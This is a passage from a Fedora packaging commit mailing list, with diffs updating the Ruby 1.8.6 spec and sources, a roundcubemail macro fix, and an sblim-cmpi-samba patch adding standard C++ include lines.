@@ -34,7 +34,7 @@ Source4:	irb.1
 Source10:	ruby-mode-init.el
 
 Patch1:		ruby-deadcode.patch
-Patch20:	ruby-rubyprefix.patch
+Patch20:	ruby-1.8.6-p383-rubyprefix.patch
 Patch21:	ruby-deprecated-sitelib-search-path.patch
 Patch22:	ruby-deprecated-search-path.patch
 Patch23:	ruby-multilib.patch
@@ -44,7 +44,6 @@ Patch26:        ruby-1.8.6-rexml-CVE-200
 Patch27:        ruby-1.8.6-p287-CVE-2008-5189.patch
 Patch28:        ruby-1.8.6-p287-remove-ssl-rand-range.patch
 Patch29:	ruby-always-use-i386.patch
-Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -174,7 +173,6 @@ pushd %{name}-%{arcver}
 %patch27 -p0
 %patch28 -p1
 %patch29 -p1
-%patch31 -p1
 popd
 
 %build
@@ -537,13 +535,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
-* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-3
-- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
-
-* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-2
-- Fix the search path of ri command for ri manuals installed with gem
-  (bug 528787)
-
 * Sat Jun 20 2009  Jeroen van Meeuwen <kanarip at fedoraproject.org> - 1.8.6.369-1
 - New patchlevel fixing CVE-2009-1904
 - Fix directory on ARM (#506233, Kedar Sovani)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ruby/F-11/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	23 Jun 2009 12:40:23 -0000	1.31
+++ sources	22 Oct 2009 15:34:22 -0000	1.32
@@ -1,4 +1,4 @@
 b6dd396f513efeb7864685c840f9643a  ruby-refm-rdp-1.8.2-ja-html.tar.gz
 634c25b14e19925d10af3720d72e8741  rubyfaq-990927.tar.gz
 4fcec898f51d8371cc42d0a013940469  rubyfaq-jp-990927.tar.gz
-c3c1f3dd0dfbd2e17a04e59c2f12cfc8  ruby-1.8.6-p369.tar.bz2
+a48703cd982b9f0e3002700a50b0e88e  ruby-1.8.6-p383.tar.bz2


--- ruby-1.8.6-p369-ri-gem_multipath.patch DELETED ---


--- ruby-rubyprefix.patch DELETED ---



From limb at fedoraproject.org  Thu Oct 22 15:35:34 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Thu, 22 Oct 2009 15:35:34 +0000 (UTC)
Subject: rpms/roundcubemail/F-11 roundcubemail.spec,1.24,1.25
Message-ID: <20091022153534.2353E11C008C@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9589

Modified Files:
	roundcubemail.spec 
Log Message:
Macro fix, BZ530037.



Index: roundcubemail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-11/roundcubemail.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- roundcubemail.spec	1 Oct 2009 15:17:01 -0000	1.24
+++ roundcubemail.spec	22 Oct 2009 15:35:33 -0000	1.25
@@ -1,7 +1,8 @@
 %define roundcubedir %{_datadir}/roundcubemail
+%global _logdir /var/log  
 Name: roundcubemail
 Version:  0.3
-Release:  1%{?dist}
+Release:  2%{?dist}
 Summary: Round Cube Webmail is a browser-based multilingual IMAP client
 
 Group: Applications/System         
@@ -143,6 +144,9 @@ exit 0
 %config(noreplace) %{_sysconfdir}/logrotate.d/roundcubemail
 
 %changelog
+* Thu Oct 22 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-2
+- Macro fix, BZ530037.
+
 * Wed Sep 23 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-1
 - New upstream.
 



From limb at fedoraproject.org  Thu Oct 22 15:38:12 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Thu, 22 Oct 2009 15:38:12 +0000 (UTC)
Subject: rpms/roundcubemail/F-10 roundcubemail.spec,1.22,1.23
Message-ID: <20091022153812.ECE8511C008C@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10389

Modified Files:
	roundcubemail.spec 
Log Message:
Macro fix, BZ 530037.



Index: roundcubemail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-10/roundcubemail.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- roundcubemail.spec	15 Jul 2009 13:56:37 -0000	1.22
+++ roundcubemail.spec	22 Oct 2009 15:38:12 -0000	1.23
@@ -1,7 +1,8 @@
 %define roundcubedir %{_datadir}/roundcubemail
+%global _logdir /var/log
 Name: roundcubemail
 Version:  0.2.2
-Release:  2%{?dist}
+Release:  3%{?dist}
 Summary: Round Cube Webmail is a browser-based multilingual IMAP client
 
 Group: Applications/System         
@@ -143,6 +144,9 @@ exit 0
 %config(noreplace) %{_sysconfdir}/logrotate.d/roundcubemail
 
 %changelog
+* Thu Oct 22 2009 Jon Ciesla <limb at jcomserv.net> = 0.2.2-3
+- Macro fix, BZ 530037.
+
 * Wed Jul 15 2009 Jon Ciesla <limb at jcomserv.net> = 0.2.2-2
 - Incorporated Chris Eveleigh's config changes to fix mimetype bug, BZ 511857.
 



From vcrhonek at fedoraproject.org  Thu Oct 22 15:41:08 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 15:41:08 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba/devel sblim-cmpi-samba-0.5.2-include.patch,
	1.1, 1.2 sblim-cmpi-samba.spec, 1.1, 1.2
Message-ID: <20091022154108.5C90911C02A2@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11191

Modified Files:
	sblim-cmpi-samba-0.5.2-include.patch sblim-cmpi-samba.spec 
Log Message:
update include patch, change files

sblim-cmpi-samba-0.5.2-include.patch:
 Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp           |    1 +
 Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp               |    1 +
 Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp             |    1 +
 Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp                 |    1 +
 Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp     |    2 ++
 Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp         |    2 ++
 Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp     |    2 ++
 Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp         |    2 ++
 Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp                                         |    2 ++
 Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp                           |    1 +
 Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp                       |    2 ++
 Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp |    2 ++
 Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp       |    2 ++
 Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp       |    2 ++
 Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp         |    2 ++
 Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp           |    2 ++
 Linux_SambaUser/Linux_SambaUserResourceAccess.cpp                                           |    2 ++
 support/smt_smb_array.cpp                                                                   |    3 +++
 18 files changed, 32 insertions(+)

Index: sblim-cmpi-samba-0.5.2-include.patch
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-samba/devel/sblim-cmpi-samba-0.5.2-include.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-cmpi-samba-0.5.2-include.patch	22 Oct 2009 12:59:42 -0000	1.1
+++ sblim-cmpi-samba-0.5.2-include.patch	22 Oct 2009 15:41:04 -0000	1.2
@@ -1,6 +1,6 @@
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:38.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp	2009-02-17 16:38:49.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:38.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -26,6 +26,7 @@
  
  #include <string>
@@ -9,9 +9,9 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old	2009-02-17 16:43:45.000000000 +0100
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp	2009-02-17 16:48:11.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old	2007-08-27 10:18:39.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -26,6 +26,7 @@
  
  #include <string>
@@ -20,9 +20,9 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:43.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp	2009-02-17 16:53:22.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:43.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -29,6 +29,7 @@
  
  #include <string>
@@ -31,9 +31,9 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old	2007-08-27 10:18:44.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp	2009-02-17 16:58:00.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old	2007-08-27 10:18:44.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -29,6 +29,7 @@
  
  #include <string>
@@ -42,9 +42,9 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old	2007-08-27 10:18:52.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp	2009-02-17 17:05:31.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old	2007-08-27 10:18:52.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -24,6 +24,8 @@
  // 
  #include "Linux_SambaGlobalPrintingForGlobalResourceAccess.h"
@@ -54,20 +54,21 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
  
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:18:53.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp	2009-02-17 16:01:22.000000000 +0100
-@@ -23,6 +23,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:18:53.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp	2009-10-22 16:00:09.000000000 +0200
+@@ -23,6 +23,8 @@
  //
  // 
  #include "Linux_SambaGlobalPrintingOptionsResourceAccess.h"
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp	2009-02-17 17:12:31.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -24,6 +24,8 @@
  // 
  #include "Linux_SambaGlobalSecurityForGlobalResourceAccess.h"
@@ -77,20 +78,21 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
  
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp	2009-02-17 16:04:48.000000000 +0100
-@@ -23,6 +23,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp	2009-10-22 16:13:11.000000000 +0200
+@@ -23,6 +23,8 @@
  //
  // 
  #include "Linux_SambaGlobalSecurityOptionsResourceAccess.h"
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old	2007-08-27 10:18:57.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp	2009-02-17 17:18:27.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old	2007-08-27 10:18:57.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -25,6 +25,7 @@
  #include "Linux_SambaGroupForUserResourceAccess.h"
  
@@ -99,31 +101,33 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
  
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old	2007-08-27 10:18:56.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp	2009-02-17 16:26:09.000000000 +0100
-@@ -25,6 +25,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old	2007-08-27 10:18:56.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp	2009-10-22 16:48:35.000000000 +0200
+@@ -25,6 +25,8 @@
  #include "Linux_SambaGroupResourceAccess.h"
  
  #include <errno.h>
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old	2007-08-27 10:19:09.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp	2009-02-17 16:09:25.000000000 +0100
-@@ -23,6 +23,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old	2007-08-27 10:19:09.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp	2009-10-22 16:23:42.000000000 +0200
+@@ -23,6 +23,8 @@
  //
  // 
  #include "Linux_SambaPrinterOptionsResourceAccess.h"
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old	2007-08-27 10:19:11.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp	2009-02-17 17:29:37.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old	2007-08-27 10:19:11.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -24,6 +24,8 @@
  // 
  #include "Linux_SambaPrinterPrintingForPrinterResourceAccess.h"
@@ -133,20 +137,21 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
  
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:19:12.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp	2009-02-17 16:17:38.000000000 +0100
-@@ -23,6 +23,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:19:12.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp	2009-10-22 16:29:57.000000000 +0200
+@@ -23,6 +23,8 @@
  //
  // 
  #include "Linux_SambaPrinterPrintingOptionsResourceAccess.h"
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp
